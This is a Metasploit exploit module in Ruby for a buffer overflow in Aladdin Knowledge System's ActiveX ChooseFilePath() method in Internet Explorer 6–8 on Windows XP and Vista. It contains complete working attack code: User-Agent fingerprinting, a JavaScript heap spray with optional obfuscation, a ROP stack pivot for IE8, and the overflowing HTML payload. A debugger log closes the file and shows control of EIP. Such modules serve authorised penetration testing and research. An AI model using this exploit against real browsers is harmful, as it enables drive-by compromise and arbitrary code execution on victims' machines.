metasploit-framework/modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::BrowserAutopwn
  include Msf::Exploit::RopDb

  autopwn_info({
    :ua_name    => HttpClients::IE,
    :ua_minver  => "6.0",
    :ua_maxver  => "8.0",
    :javascript => true,
    :os_name    => OperatingSystems::WINDOWS,
    :rank       => Rank,
    :classid    => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
    :method     => "ChooseFilePath",
  })


  def initialize(info={})
    super(update_info(info,
      'Name'           => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Aladdin Knowledge System's
        ActiveX component.  By supplying a long string of data to the ChooseFilePath()
        function, a buffer overflow occurs, which may result in remote code execution
        under the context of the user.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'shinnai',       #Vulnerability Discovery
          'b33f',          #Original exploit
          'sinn3r',        #Metasploit
          'juan vazquez'   #Metasploit, IE8 target
        ],
      'References'     =>
        [
          [ 'OSVDB', '86723' ],
          [ 'EDB',   '22258' ],
          [ 'EDB',   '22301' ]
        ],
      'Payload'        =>
        {
          'StackAdjustment' => -3500
        },
      'DefaultOptions'  =>
        {
          'InitialAutoRunScript' => 'migrate -f'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [ 'IE 6 on Windows XP SP3',
            {
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ],
          [ 'IE 7 on Windows XP SP3',
            {
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ],
          [ 'IE 8 on Windows XP SP3',
            {
              'Rop' => true,
              'Offset' => '0x5f6',
              'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll
            }
          ],
          [ 'IE 7 on Windows Vista',
            {
              'Rop' => false,
              'Offset' => '0x5F4',
              'Ret' => 0x0c0c0c0c
            }
          ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Apr 1 2012",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)

  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
    ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

    ie_name = "IE #{ie}"

    case nt
    when '5.1'
      os_name = 'Windows XP SP3'
    when '6.0'
      os_name = 'Windows Vista'
    when '6.1'
      os_name = 'Windows 7'
    end

    targets.each do |t|
      if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
        print_status("Target selected as: #{t.name}")
        return t
      end
    end

    return nil
  end

  def ie_heap_spray(my_target, p)
    js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
    js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

    # Land the payload at 0x0c0c0c0c

    js = %Q|
    var heap_obj = new heapLib.ie(0x20000);
    var code = unescape("#{js_code}");
    var nops = unescape("#{js_nops}");
    while (nops.length < 0x80000) nops += nops;
    var offset = nops.substring(0, #{my_target['Offset']});
    var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
    while (shellcode.length < 0x40000) shellcode += shellcode;
    var block = shellcode.substring(0, (0x80000-6)/2);
    heap_obj.gc();
    for (var i=1; i < 0x300; i++) {
      heap_obj.alloc(block);
    }
    |

    js = heaplib(js, {:noobfu => true})

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    return js
  end

  def load_exploit_html(my_target, cli)

    if my_target['Rop']
      p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})
    else
      p = payload.encoded
    end

    spray = ie_heap_spray(my_target, p)

    html = %Q|
    <html>
    <object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
    <script>
    #{spray}

    junk='';
    for( counter=0; counter<=267; counter++) junk+=unescape("%0c");
    pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");
    </script>
    </html>
    |

    return html
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    uri   = request.uri
    print_status("Requesting: #{uri}")

    my_target = get_target(agent)
    # Avoid the attack if no suitable target found
    if my_target.nil?
      print_error("Browser not supported, sending 404: #{agent}")
      send_not_found(cli)
      return
    end

    html = load_exploit_html(my_target, cli)
    html = html.gsub(/^\t\t/, '')
    print_status("Sending HTML...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end

end

=begin
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
OLEAUT32!SysReAllocStringLen+0x31:
7712a41a 8b00            mov     eax,dword ptr [eax]  ds:0023:0c0c0c0c=????????
0:008> g
(82c.12dc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
0c0c0c0c ??              ???
0:008> db 020bf798
020bf798  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7a8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7b8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7c8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7d8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7e8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf7f8  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
020bf808  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end